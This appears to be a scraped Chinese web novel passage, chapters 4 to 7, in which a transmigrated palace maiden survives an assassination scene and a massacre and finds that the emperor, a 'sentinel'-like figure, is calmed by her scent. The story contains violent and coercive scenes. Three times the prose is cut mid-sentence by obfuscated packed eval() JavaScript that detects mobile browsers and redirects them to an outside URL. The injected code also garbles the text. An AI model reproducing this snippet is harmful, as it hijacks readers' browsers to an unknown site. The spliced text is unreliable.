坏了黎婧容该不会被自己几句话,就放弃刺杀计划吧?那这是她和男主相遇的前置剧情啊—— 女主刺杀大反派失败,身受重伤,逃脱途中被男主救下,两人因疗伤赤膊相见,渡气疗养、功力交融、心法相传…… 宋迎老脸一红,赶紧拉过被子,把自己从头到脚裹严实。 突然,她想到了一个跟自己息息相关的剧情节点。 ——黎婧容刺杀失败,永昭帝必定会下令处死所有秀女! 她,要死了。 她又要因为主线剧情死亡了! 不行,她不能死,她还答应了嫂嫂要回家呢。 还有兄长,他在外赶考,已经大半年没有见过面了! 她要是死在了这,估计当天就被扔进乱葬岗,连个收尸的人都没有! 对,她不能死…… 各种念头在被子下拉回拉扯,直至天明,宋迎才迷迷糊糊地睡了过去。 翌日清晨。 宋迎沐浴结束,想着去找黎婧容再探探口风,她是不是真的要行动了? 可她刚走到黎婧容门外,还没来得及叩门,门便从内拉开。 黎婧容简单绾了发,一身素净,只说了句:“姑娘眼下乌青,今夜……还是早些歇息为妙。” 不等宋迎张口,那扇门又一次在她面前合上。 宋迎碰了一鼻子灰,黎婧容那句“今夜早些歇息”,怎么琢磨都觉得意有所指。 她满心狐疑,几个秀女过来想约她小叙,都被宋迎摆手推拒了。 她低头思忖着,回了房。 ——难道,黎婧容真的要在今晚动手?! 宋迎被这个念头惊了一跳,下意识想去说服黎婧容。 不行。 那可是核心剧情,她要是横插一脚,搅乱主线事小,最坏的结果……怕是会像上个世界那般,被抹杀干净。 思来想去,眼下最稳妥的办法,还是先按兵不动。 时间很快就到午时,该用午膳了。 宋迎就佩服自己一点,就是务实—— 天大的事,也得填饱肚子再说。 毕竟,吃饱了才有力气思考对策,睡足了才能保证精神去苟命。 这两样,她看得比什么都重要。 饶是如此,宋迎还是不死心,想着再往黎婧容身边凑。 可黎婧容就像是有意躲她,宋迎刚瞥见一个模糊侧影,下一秒,她就不见了。 宋迎:……得,没戏。 暮色四合,今夜连老天都在帮忙。 皎月被层叠乌云遮蔽,屋内未燃灯烛,伸手不见五指的黑暗里,静得只能听见自己的呼吸声。 宋迎早早地将自己裹进被子里。 果然,没到三更天,屋外便传来刀剑交鸣的声音! 黎婧容打到储秀阁来了??? 一瞬间,宋迎完全不敢呼吸,浑身毛孔迅速张开,所有的感知都凝聚到了双耳。 那刀剑声似远非近,又似近非远,黎婧容她到底在发什么疯,她要把储秀阁都掀了吗? 血液在顷刻间凝结,又在下一刻疯狂倒灌回心脏,激得心脏狂跳,几乎要冲破喉管。 “咔嚓——” 一声巨响,像是什么东西被生生折断。 紧接着,是连绵不绝的碎裂声! 靠着院墙的那一整排雕花木窗,竟同时被一股力量震得粉碎! “砰砰砰——哗!” 无数碎裂木片朝着屋里砸落。 宋迎下意识地将身体缩得更紧。 当炮灰可真遭殃。 宋迎腹诽道。 而那催命符似的刀剑声,又在碎裂声中,陡然变得无比清晰! 不,不是近了…… ——他们……他们就在她的房间打起来了!!! 宋迎死死捂住口鼻,尽量降低自己的存在感。 倏地,一声脆响划破夜空,那是利刃断裂的声音! 紧接着的,是黎婧容不甘的嘶吼声: “狗皇帝——!” 就是这句!是原书剧情里,黎婧容刺杀失败后的经典台词! 宋迎脑中轰然一炸,那些文字,此刻就在耳边。 她不是在看故事,她是真的……身处故事之中! 这种真实的冲击感,远比当初觉醒认知的颠覆,来得更为直接—— 整个剧情,都可以用她的五感去感知,文字活了过来,并且随时会把她碾碎。 “内力不错,居然还能说话。” 是永昭帝。 他语调平稳,听起来似乎毫发无伤。 听到熟悉的对话后,宋迎稍稍松了口气。 剧情进行到这,她记得清清楚楚,马上永昭帝就会被黎婧容的刚烈所震撼,隐隐生出几分欣赏……然后饶她一命,为后续剧情埋下伏笔…… “只是,你的血……真让朕恶心。” 宋迎:????! 等等,这台词不对啊,剧本不是这么写的啊! 她明明怕得要死,却还是鬼使神差地掀开被子一角,朝外窥去。 只见永昭帝单手扼住黎婧容脖颈,将她整个人提离了地面! 黎婧容面色惨白如纸,嘴角不断涌出血沫,鲜血顺着下颌滑落,滴进男人五指间,再蜿蜒而下,染红了明黄袍上的龙纹。 她双目圆瞪,俨然是一副快死的模样! 而永昭帝的另一只手,竟然直接按进了黎婧容受伤的右臂! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811260|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两只手,皆被鲜血浸透。 “哈哈……哈哈哈哈哈哈哈哈!” 永昭帝仰头癫笑道。 他在享受。 这跟原书剧情完全不一样啊!! 宋迎在心底疯狂咆哮,原书中,永昭帝和黎婧容是高手过招,两人怎么也能打个四六开,怎么现在变成永昭帝单方面碾压黎婧容了! 浓重到令人作呕的血腥味,直冲宋迎鼻腔,胃里一阵恶心。 她拼命捏紧嘴巴,溢出的干呕声让她还是被发现了。 笑声戛然而止。 永昭帝微微偏过头,虎口一松,黎婧容应声摔地。 她顾不上自己的剑,凭着求生本能,连滚带爬地扑向另一侧的窗户,狼狈地翻了出去。 永昭帝不屑去追。 那双黑亮的眼眸如黑夜中搜寻猎物的鹰豹,紧紧锁定了床榻上那团瑟瑟发抖的被子。 然后,一步一步地,走向她。 宋迎是如此直观的感受到杀意。 她应该立马滚下床榻,然后磕头求饶,求求他放自己一条生路。 但她……做不到。 身体里的血液突然从心脏处被抽干,她所有的血液都在被抽离! 心跳的跳动也变得微弱而艰难。 她动弹不得。 她……要死了吗? 她要死了啊。 永昭帝高大的身影缓缓笼罩下来,将她完全吞噬。 突然,一股灼热而粗重的鼻息,喷洒在她脸上! 宋迎一僵,顿时屏住了呼吸。 先前被乌云遮蔽的月亮,探出一角,泻出光华。 宋迎瞳孔猛地一缩! 永昭帝的整张脸都贴了上来,像头饥饿难耐的野兽,更为骇然的是——那双眼眸中,是两道冷金竖瞳! 他鼻翼微微翕动,发出低低的嗅闻声。 似乎是察觉到了宋迎的屏息,竖瞳闪过不悦。 那只沾满黏稠血液的大手,猛地箍住了她的下巴! 黎婧容的鲜血,立马粘腻地涂抹在了宋迎的脸上。 下颌被制,她再也无法屏息,被迫张开小嘴,只能细弱地喘息着。 他很是满意,唇角微微勾起,浮现了一丝诡谲笑意。 鼻尖从宋迎脸上缓缓滑过,最终停在了她微微颤抖的唇瓣上。 永昭帝对着她的唇,一下又一下,重重地嗅闻着。 极近的距离下,宋迎发现他脸颊上,以及从袖口滑出的一截小臂上,都隐隐有肌肉在不受控制地抽搐。 那种抽搐,不似暴怒,更像是一种极度压抑的……痛苦。 渐渐地,随着他对她唇瓣的嗅闻,呼吸频率从一开始的急促,变得平缓。 而他身上细密的肌肉痉挛,也慢慢趋于平静。 宋迎却觉得这种转变有些眼熟—— 失控下的杀戮欲,太像感官过载之后的哨兵了。 一瞬间,先前种种都有了答案! 一日三次的沐浴不是洁癖,而是清洗掉庞杂的气味信息。 宫人不语不是哑巴,而是降低声音对他的刺激。 ……难道永昭帝的诅咒一说,是因为他身为哨兵,感官过载得不到精神疏导所致? 可她这属于胎穿啊! 除了原书开卷,她根本没有携带任何向导技能啊! 宋迎头脑风暴之际,埋首嗅闻的永昭帝,动作霎时一顿。 他露出森然白牙:“墨香?” 话音未落,箍在下巴上的手猛然收紧! 剧烈的疼痛让宋迎眼前一黑,他丫的,叽里咕噜说什么东西,都快把她下巴骨捏碎了! 5. 第 5 章 墨香?她哪里来的墨香? 入宫之后,宋迎就没再碰过笔墨。 ……倒是入宫前,她闲着无聊画毛笔画来着,可她天天洗三次澡,怎么还会有墨的气味? 永昭帝鼻翼翕动弧度愈发明显。 他眉心紧蹙,眼中不耐压得宋迎几乎无法呼吸。 腮边肌肉几不可察地动了动,那只扼住她下颌的手,终是缓缓撤去。 力道骤失,宋迎浑身一软,跌回床榻。 下颌火辣辣地疼,她大口大口地喘着气,贪婪地呼吸着。 永昭帝无意关注她的狼狈,那双眸子居高临下地审视着她,打量着她。 半晌,他薄唇微启:“脱。” 黑夜无声,宋迎听得真真切切。 脑中霎时一片空白,脱?脱什么?衣裳吗? 她身子僵住太久,连动一动指尖都十分困难,但——不动,便是抗旨! 指尖发颤,宋迎压下心中惧意,用尽力气,才微微抬起下颌,飞快地向上瞥了眼,又迅速垂下。 只一瞬,她便看见—— 那双金色竖瞳正闪着妖异的微光,宛如凶兽。 他,在盯着她。 宋迎瞬间明白了,如果不遵从,只怕立刻会被这双眼瞳的主人撕个粉碎! 但她活了快两辈子,还是第一次在陌生男人面前脱衣服—— 尤其,还是精神状态有问题的男人面前。 这古言限制文的剧情……真是简单粗暴,一点也不像哨向文,搞颜色还披个精神体的刺激设定。 宋迎脑子里胡乱地碎碎念着,企图来麻痹那些交织在心头的羞耻、恐惧。 她蜷缩在床榻上,被子堪堪遮住腰线,松解中衣中裤的时候,胡思乱想还能稍稍分散她的注意力。 然而,当指尖触及亵裤,宋迎的双手开始忍不住颤抖起来,她快速从被子里抽出,和衣物扔在一旁。 只、只剩下兜肚了…… 宋迎非常想跳脱出来,告诉自己她只是书本里的一个炮灰角色,抛却掉所谓的礼义廉耻,只需要麻木地走完剧情,把自己想象成NPC完成任务就好了。 但身而为人,感知又岂是说剥离就能剥离的? 越是这般自我催眠,被践踏的自尊便越是刺激着她的神经,越是能感受到此刻的屈辱与难堪! 而永昭帝依旧沉默,似乎没有让她停下来的意思。 玉指轻轻搭上颈后的系带,呼吸慢慢加重,带着灼意,几乎从上到下要把她点燃。 宋迎终是忍不住,又向上瞥了一眼—— 只见永昭帝的目光,竟直勾勾地落在了她身侧,那堆散乱的衣物之上。 那眼神……没有想象中的龌龊或者带着欲望的侵略,反而是一种近乎执拗的专注、赤裸、直白,又不含半分绮念。 仿佛宋迎觉得无比屈辱的裸露,于他而言,还不如一堆衣物来得更有吸引力。 他只要她的……衣裳? 宋迎深深吸了口气,用膝盖缓缓顶起被子,遮住自己的身体后,再以迅雷不及掩耳之势解开系带,想也不想便将它扔了出去。 永昭帝瞳孔微动,视线在她身上停了一瞬,旋即又重新黏回了那堆衣物上。 做完这一切,身体在被下忍不住地轻颤,心脏狂跳不止,不知等待她的,还会是什么……奇怪要求。 好在,永昭帝真的对她这个人并无兴趣。 他长臂一伸,将那堆衣物尽数捞起,然后—— 将自己的脸深深埋了进去! 肩头剧烈起伏着,发出沉闷的呼吸声。 他又在嗅闻着什么。 在宋迎错愕的注视下,永昭帝带着衣物,纵身一跃,转瞬便消失在了沉沉夜色之中。 宋迎整个人蜷缩在被子里,因为太过害怕,久久不能动弹。 也不知过了多久,那股寒意渐渐被身体本能反应取代,她才后知后觉地察觉到背脊湿濡一片。 他……为什么会对她的衣服那么感兴趣? 问题,到底出在了哪里?是她身上的气味吗? 宋迎分析不出,转念一想,她都从永昭帝手上活下来了,是不是就说明——处死秀女的事情就不会波及到她了? 她对永昭帝还有用,至少现在,她这条小命算是保住了! 想到这,宋迎的心脏随着腾起的希望,重新鼓噪起来。 她长长地吐出一口气,强撑着身体,挪下床榻。 宋迎披着被子,在柜橱里翻找着干净寝衣,万幸,他们打架没有波及到这里。 换了身衣裳,她感觉自己终于活了过来。 虽然床上有血,但血迹干涸,已经凝成了深褐色。 宋迎顾不上太多,连续两晚上没睡好,再加上刚才精神高度紧绷,巨大的困倦感朝她袭来。 一夜太久,久到宋迎鼾声渐起,天际已然泛起鸦青。 “所有秀女,即刻于储秀阁前庭院集合,听候发落!” 公公语调拖得又长又缓,既不尖锐又不高昂。要是睡着了,肯定是听不见的。 宋迎睡得深,脑中一片混沌。 被惊醒一瞬间,便发现自己被两侍卫一左一右架着,往庭院拖拽。 那两侍卫也不客气,把她往院子里一扔,继而拱手朝公公复命: “启禀润德公公,十二秀女,除去昨夜的那位,其余十一人,尽数在此。” 宋迎与其他秀女一同跪在地上。 身旁,一名秀女偷偷拽了拽她的袖子角:“昨夜……你听见了吗?好大的动静,真是吓人……你说,我们会不会… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811261|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …会不会被那个女人连累,然后……” 后面的话,她说不下去了。 宋迎只听见她细细的呜咽声。 这该不会就是主线剧情后的旁支剧情节点? ——女主刺杀失败,永昭帝株连储秀阁上下,集体处死! 她们,要被杀了?! 宋迎不知道该如何开口,只能垂着头,不敢去看身旁秀女惊惧的表情。 可是……不对啊。 昨夜,她明明已经在永昭帝手上活下来了啊,他还顺走了她衣裳呢! 难道,是因为昨夜的剧情点里,她不能死? 她记不清那么多细枝末节了,原书中也确实并未提及,女主和反派打斗中波及无辜旁人的情节。 所以……所以她昨夜的幸存,不过是剧情的暂时豁免,作者压根没写这些情节? 而她的死期,其实是被安排在了今天,和所有的炮灰秀女一起死? 宋迎心凉了半截。 没来得及细想,眼角余光便瞥见刺目寒光闪过! 刚刚还在跟她低声啜泣的秀女,连一声惊呼都未发出,便直挺挺地栽倒在地! 鲜红血液迅速从她脖颈处喷出,朝宋迎流了过去。 宋迎手忙脚乱地爬向另一侧,手一触地,却又是一片湿滑黏腻——又是血! 一道道刀光在她眼前划过,快得只有道道残影。 那些秀女都是这般,没有惊呼,没有惨叫,连死都是寂静无声的。 此刻,庭院中,除了她,再无一个活着的秀女。 宋迎彻底呆滞住了,她跪坐在血泊中,任由温热浸湿裙摆。 她木然地看向那些侍卫。 而那些侍卫,也在看着她,目光齐刷刷落在了宋迎的身上。 宋迎呼吸一窒,下意识向后挪了挪。 ……是她身上的墨香惹怒了永昭帝,还是别的什么? 为什么他们还不动手? 这是要把她千刀万剐的节奏? 就在这剑拔弩张之际—— 掩于侍卫身后的润德公公,突然上前一步,开口道: “宋氏,上前听令。” 听令?听什么令?不是一刀了事吗? “传陛下口谕,秀女宋氏,即刻起,擢为侍药宫女。” 侍药宫女?她……不用死了? 巨大的落差让她有些恍惚,竟下意识脱口而出:“那公公……为何不早些宣旨?” 她还以为她要死了呢!有什么耍人玩的吗! 润德公公缓步走到宋迎面前,伸出手,将她搀了起来。 “陛下吩咐了,让你……带着点血,再去见他。” 宋迎一惊,不明白润德公公话中的意思。 “走吧,莫要让陛下久等。” 6. 第 6 章 万春殿内,锦帐低垂,烛影摇红。 永昭帝的脸缓缓抬起,眉宇间戾气稍减,乌漆眼眸死死盯着手中,那叠被蹂躏得不成样子的衣物。 那股气息…… 他鼻翼翕动,眉心蹙了一下。 不见了? 心头一空,他不死心地,又将脸深深埋入其中,用力地吸着气,可肺腑间却只有令人作呕的血腥味…… 没有了。 那股能瞬间抚平他躁欲的气息,确实消失了。 五指猛然收拢,嵌入衣料,几欲将其撕裂。 他想不明白,宫规森严,秀女入宫前搜查严苛,绝无可能私藏外物。 那个秀女身上的墨香极淡,想来入宫后便再未碰过笔墨。 墨香极淡,但那缕气息却极为浓郁…… 她究竟用了什么手段,才将此物带入宫中? 那物件……又是如何制成? 突然,另一个更为可怖的念头跃入脑海—— 他的秘密……难不成已经被叛贼知道了? 不!不会—— 若是燕贼知道了,今夜就不会来送死了。 永昭帝回想起今夜的丑态,那失控的索取,胸中被压下的怒意再次腾起。 积郁的愤懑化作一拳,狠狠砸在那叠衣物,布料塌陷,他还不解恨,抓起便朝旁掷去—— 烛火瞬间将其点燃、吞噬。 跳跃火光映得他眸色愈发晦暗。 丑陋、贪婪,被最原始的欲望驱使,这跟野兽有什么分别! 他盯着那团火光,恨不得活剐了丑态尽显的自己! 而那副他拼命想要掩藏的丑态,竟然……竟然还落入了旁人眼中! 那个秀女…… 她眼底惊惧做不了假,与燕贼不像同党。 若不是和燕贼同党,她又是谁派来的棋子呢? 火光渐弱,方才的狂怒仿佛也随着那缕青烟飘散。 如今,唯一的突破口,就只剩下那名秀女了。 永昭帝冷笑一声,看她那副瑟缩怯懦样,大抵是不知道发生了什么,只是某个人的用过即弃的工具罢了。 而那个人,必然还隐匿于深宫之中! 秘密已然被人洞悉,自己岂不是砧板上的鱼,会被玩弄于股掌之间! 指节被永昭帝捏得发白作响,手背上青筋虬结。 无论如何,他都必须查清楚,那个能安抚他心魔的东西,到底是什么! 然后…… 他眼底精光闪过。 再将其牢牢握在自己手中! 只有这样,他才不会受制于人! 烛影微晃,一道黑影拜伏于榻前。 “启禀圣上,”那人颤声道,“刺客……半路被人救走,营救之人剑术超群,看着像天剑宗的人。” 永昭帝连眼帘都未曾抬一下,燕贼与江湖门派牵扯颇深,否则也不会冒头冒得这么快。 “属下无能,未能完成圣命,唯有一死,才能谢罪!” 话音未落,那道黑影拔出匕首,毫不犹豫便朝胸前刺去。 “铮——” 永昭帝只是随意一挥袖袍,一股劲风便击落了那柄匕首。 血腥气混杂着汗味从隐卫身上散发开来,钻入鼻腔。 他不耐地皱了皱眉,更添几分躁郁。 “此人身份有异,定是顶替了旁家秀女混入宫中。去查清楚她顶替的是何人身份,与其相关者,一律视为燕贼同党,杀无赦。” 隐卫叩首,随即捡起匕首,转身便要离去。 “慢着。” 燕贼背后有人接应,实属意料之中。 他更在意的,是那个身染奇香的秀女。 永昭帝默了一瞬,继而开口:“先去查查储秀阁西南角第六间是何人所居,半炷香内,朕要知道她的全部底细。” 黑影一闪,瞬间消失在殿内。 没出半炷香的功夫,黑影再次现身。 一卷宗卷被奉到了永昭帝的面前,任务完成后,他便又一次融进了暗处。 展开宗卷,隽秀小字记录着“宋迎”—— 年十六,辽州人士,其父宋裕昌,辽州府治下富商,营绸缎、粮米,有良田百顷,铺面十余间于府城,家资颇丰…… 从家世背景,到三代亲族,无一遗漏。 辽州人士…… 辽州与燕贼盘踞的兖州毗邻,难保不是又一股打着“复燕”旗号,包藏祸心的势力。 永昭帝看完,合上卷宗。 单从宗卷来看,这秀女家世清白,并无可疑之处,但—— 越是完美无瑕,越像是刻意伪装。 永昭帝随手将卷宗置于榻边。 他压下心头猜疑,起身朝殿外走去。 一夜未眠,反而有些隐隐亢奋。 天际泛白,微光洒在万春殿前的白石阶上。 润德公公佝偻着身子,跪在阶上恭候。 此时晨钟尚未敲响,并未到当差侍奉的时辰,永昭帝眉宇间闪过一丝诧异。 未等永昭帝开口,润德公公便叩首请安道: “老奴参见陛下,陛下万安。昨夜……宫中动静不小,老奴实在放心不下,便斗胆早早候在此处。” 永昭帝闻言,心中微动。 他刚想开口说,日后不必如此辛苦,若无传召,尽可进殿内侍奉,但话到嘴边,又想起自己发起狂来的丑态…… 想到此,他又将话咽了回去,神色复又变得冷硬。 接着,他沉声下令: “传朕旨意,秀女宋氏,擢为侍药宫女,即刻带到朕的面前。将其所有物品,一并带来,仔细搜查,不得有误!” 鼻腔内恶心的血腥气仍未散去。 昨夜……那个秀女身上,似乎也沾染了刺客的血…… 他微微眯起眼,“让她……身上带点血,再来见朕。” * 宋迎亦步亦趋地跟在润德公公身后,只敢盯着自己的鞋走路。 身后跟着的侍卫可不是吃素的,她不敢回头,更不敢抬头,生怕给自己招来麻烦。 永昭帝将她封为侍药宫女…… 这听起来,似乎比直接拖出去砍了要好一点。 至少,她这条小命,暂时算是保住了。 ……暂时保住了,那日后呢? 原书里,作者将永昭帝塑造得极为难杀,是武力值爆表的存在。 要不是最后剧情杀,让他发现自己对女主怀有异样的情愫,又恰好撞见男女主你侬我侬的刺激场面,也不至于陷入癫狂,绝望自戕。 所以,永昭帝这条大腿,顶多只能抱一时。 要想苟下去,有机会还是得多刷刷女主的好感度。必要时,果断弃暗投明! 虽然……自己现在连永昭帝的边儿还没摸着呢,但未雨绸缪总不会是坏事。 胡思乱想着,他们已经行至万春殿前。 润德公公没有多言,只是侧身示意她进去。 紧接着,那两个侍卫提着她所有家当的箱子,从她身边走过,径直撩开层层叠叠的明黄锦帐。 片刻,他们空手走出,退出了大殿。 脚步声远去,殿门从外面合上。 偌大宫殿内,瞬间陷入一片昏暗,只有宋迎一人跪在大殿中央。 四周是高耸梁柱,雕梁画栋隐在光影之中,透着令人窒息的压抑感。 宋迎紧紧咬着下唇,努力不让自己发抖。 她知道,永昭帝这条大腿自己还没有抱稳,要想活命,接下来的一言一行,绝不能行差踏错! 宋迎,快!快想想!他特意把你从储秀阁弄到这来,到底是为什么,总不可能是因为你长得特别下饭吧? 他为什么要留下你?你被留下的价值,到底在哪? 永昭帝……昨夜他那妖异金眸,以及周身散发的狂躁气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811262|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息……再加上,他能闻到自己一月前沾染的墨香,那绝不是正常人该有的状态! 种种迹象表明,他当时五感绝对是处于极度混乱之中! 永昭帝……他是这个世界,这个没有“哨向”概念世界里的……哨兵?! 宋迎心脏止不住地狂跳起来。 按照上辈子的经验,哨兵拥有远超常人的五感和战斗力,但也因此极易受到外界刺激,导致精神紊乱,陷入狂暴。 他们需要向导的精神疏导来维持稳定。 永昭帝的诡异行径,与哨兵的特征对上了号! 可是……如果他是哨兵,那他的精神体又是什么? 宋迎上辈子的确是名草木系向导不假,所以她生来拥有高共情和敏锐观察,但她在这个世界没有精神体啊! 这可是本纯古言,目前还没有发现“精神体”这个概念。 那她昨夜到底是如何帮永昭帝完成精神疏导的? 宋迎百思不得其解。 但随即,另一个推论想法接踵而至—— 如果,永昭帝真是这个世界的“哨兵”,那么按照一般设定,哨兵和向导的比例是严重失衡的…… 那她的身份,岂不是比永昭帝高了! 如果真是这样,她就有了上桌谈判的资格。 想到这,宋迎的腰板不自觉挺直了。 然而她刚给自己打完气,锦帐之后—— 她的木箱子被整个扔了出来! 紧接着,永昭帝掀帘而出,怒气冲冲,直奔宋迎而去! 没有! 她带来的东西,从里到外,从上到下,他翻了个底朝天,全都没有!没有能抚他心魂的物件! 她藏起来了? 这个女人竟敢耍他! 永昭帝杀意翻腾,恨不得立刻就掐住她脖子,好好审问一番! 就在他携着雷霆之怒,即将靠近她身前—— 一股熟悉的气息,再度钻入了他的鼻腔。 脚步不禁放缓。 瞬间,这缕气息盖过了血腥气,止住了他不休的躁欲。 东西……不在那堆杂物里。 东西……在这个女人身上! 永昭帝半蹲下来,高大身影投下一片阴影,将宋迎完全笼罩。 他细细地、一寸寸地瞧着她。 巴掌大的小脸白皙得近乎透明,圆眸半垂着,浓密的睫毛微微颤抖,眼神慌乱地在地上胡乱瞟着,不敢与他对视,那张嫣红小嘴哆嗦着。 瞧着她这模样,永昭帝心中的莫名火气,随之消散大半。 目光瞥见她裙摆袖口,染着暗红。 他忽然觉得,或许没了这些污浊……她的气息是不是会更为纯粹? 宋迎不仅注意到了永昭帝瞳孔颜色变了,而且她还清晰地感受到,永昭帝身上那骇人气场发生了变化。 从掀开帘子的滔天怒火,到冲向自己的凛冽杀意,再到他脚步的迟疑与心绪的平静…… 这过山车似的情绪转变,更加笃定了她之前的猜测—— 这丫的,绝对是个哨兵! 而自己身上,一定有某种东西,能够安抚他! 现在,她需要考虑的,已经不是如何抱紧大腿了。 既然她有这么重要的筹码,她应该想的……是如何反客为主,拿捏住眼前这位至高无上的男人! “呵。” 突然,宋迎头顶传来森然笑意。 她浑身一个激灵,猛地抬眼望向前方。 只见永昭帝依旧半蹲在她面前,脸上分辨不出喜怒,那双漆黑眼眸里凝起点点猩红,阴骘而冰冷。 一股比之前更加浓烈的杀意,再次席了上来! 永昭帝缓缓站起身,俯视着她: “来人,把她带下去,洗漱干净。” 细细麻麻的寒意瞬间爬上宋迎脊椎。 她好像明白,永昭帝想对她做什么了。 7. 第 7 章 殿门被轰然撞开,方才那两个侍卫冲了进来,钳住宋迎胳膊,不由分说,便将她往外拖拽。 这里的侍卫都戴着铁面具,面具遮住了他们的表情,只露出一双眼睛。 目光冰冷,宋迎只瞧了一眼,便心生颤栗。 她很快被扔进一处偏殿,门在她身后哐当合拢。 一股浓重的沉闷味道扑鼻而来,宋迎一下子打了好几个喷嚏。 显然,偏殿很久没人住了。 宋迎强迫自己冷静下来,环顾四周。 目之所及,是山水花鸟屏风,指尖轻轻一抹,便是道灰痕。 绕过屏风,里面放着一个浴桶,氤氲热气腾起,浴桶旁则叠放着一套衣裳。 ……是热水。 宋迎又扫视了一圈,这偏殿确实空无一人。 她发现自己这几日,竟然没有见到一个宫女,就连内侍大监也寥寥无几,宫里尽是些侍卫。 这皇宫……透着一股说不出的诡谲。 心头不安涌现,宋迎不敢深想,三两下褪去身上脏衣,然后迅速滑入浴桶。 温热汤水瞬间包裹了她,暖意熨进身体,舒服到头皮发麻。 胳膊搭在桶沿,宋迎闭上眼,感受着水汽氤氲。 ……她知道永昭帝想做什么了。 一开始,他让她带着血污去见他,现在,又厉声让她沐浴更衣。 这一脏一洁……这是拿她在做对照组实验!? 宋迎缓缓沉入桶底,汤水没过头顶。 但现在,就连宋迎自己都不知道她身上究竟有什么东西,能对永昭帝产生精神疏导。 她努力回忆着昨夜的细节。 黎婧容的血,被永昭帝抹到了她的脸上,可那双冷金竖瞳,却并没有发生变化。 如今,她身上沾染的血迹比昨夜更多,但永昭帝的反应,却在见到她之后,很快镇定下来。 这其中……唯一的区别,大概就是那些血大多干涸在衣服上,她本人,其实并没有直接沾染到血迹。 ……所以,是她这个人本身的存在,就能帮永昭帝做精神疏导? 这个猜测让宋迎浑身一凛,跃出水面。 是的!一定是这样的! 永昭帝需要的,是她这个人! 一瞬间,所有的恐惧与不安不见,全然变成了带着兴奋感的冷静。 心中有了计较,宋迎便不再慌乱。 她洗漱完毕,换了身宫女规制的衣裳—— 粉荷色上衣,配上桃红襦裙,衬得她肌肤愈发莹白。草绿色披帛搭在肩上,非但不突兀,反倒透着雨后初晴的沁人感。 先前宋迎被侍卫拖拽,发髻被弄得松散了许多。她就给自己扎了两个垂在耳侧的双平髻。 镜中少女,眉眼弯弯,整个人显得格外柔弱无害。 宋迎对着镜子,满意地眨了眨眼睛,让你丫的折腾我,不让我好好睡觉! 她从偏殿回万春殿的路上,还好那两个侍卫没再拽她,只是默默跟在她身后。 殿前的润德公公见到宋迎如此模样,眼睛亮了一瞬。 宋迎也不像之前那般瑟缩,大大方方地走了进去。 继而盈盈一拜:“奴婢参见陛下,陛下万安。” “起身。” 殿内回荡着永昭帝的声音。 宋迎刚一起身,一道身影便无声无息地出现在了眼前。 永昭帝离她那样近,近到可以看清衣袍上的绣纹。 宋迎还是下意识地绷紧了身体,心脏狂跳。 按照昨夜她屏住呼吸之后,永昭帝那般烦躁,这精神疏导是不是,还跟她的呼吸频率有关? 为了作证自己的猜想,她深吸了一口气,继而全神贯注地屏住呼吸。 宋迎刚入殿,永昭帝便察觉到了。 那是一股清新的草木香,但又不全是泥土与青草的涩然,而是更为柔和的甜润。 是一种无论他呼吸与否,都能让他心情开阔的气味。 甚至,永昭帝能感觉到,整个万春殿的沉闷,都从宋迎踏进来的那一刻起,变得鲜活而灵动。 困扰他的头痛,似乎也在这股气息环绕下消散了。 只是……怎么他越是靠近,甜润反而越……淡了? 永昭帝微微蹙眉,俯下身躯,目光落在纤细脖颈,鼻子几乎要贴到她颈窝上,努力地嗅闻着。 有些是她身上沐浴后残留的皂角清香…… 那股安抚之气若有似无,愈发微弱了。 他本想再靠近一些,细细分辨。 眼神瞥过宋迎,只见她僵直得像截木头,双肩颤抖的瞬间,永昭帝似乎感觉到,那股微弱的气息也跟着她一同颤抖,变得更加稀薄、紊乱。 难不成……这气息浓淡,还跟她情绪相关? 被压下去的烦闷劲,又卷了上来。 “不许害怕。” 永昭帝咬着牙,压抑着喷薄而出的烦躁,怒喝了一声。 宋迎的屏息本就快憋不住了,胸腔因为缺氧而阵阵发闷。 被这么句突如其来的吼了声,吓得浑身一抖,那口气瞬间松懈下来。 她大口地呼吸着,新鲜空气涌入肺部,眼眶有些微微泛红。 永昭帝:…… 看着她快被吓哭的模样,永昭帝只觉青筋直跳。 随着她的喘息,那股气息重新出现,却变得更加紊乱、驳杂! “来人,”永昭帝猛地一甩衣袖,背过身去,“带她去西偏殿。” 宋迎懂了,这是第一轮试验结束,要更改变量了。 这回,没再出现铁面侍卫,而是润德公公亲自带着她去的。 “宋姑娘,请随咱家来。” 推开殿门,润德公公站在门外。 这次,依旧是让她一个人进去。 宋迎注意到,这次润德公公看她的眼神,与方才在万春殿前,又有些不太一样。 一踏入房间,宋迎就明白了。 房间内充斥着浓郁的甜腻香气,香味霸道,仿佛是数百种最浓艳的花蜜提炼而成,又加入了大量的蜜糖,最后凝成了这股甜香。 浓得呛人,甜得发齁。 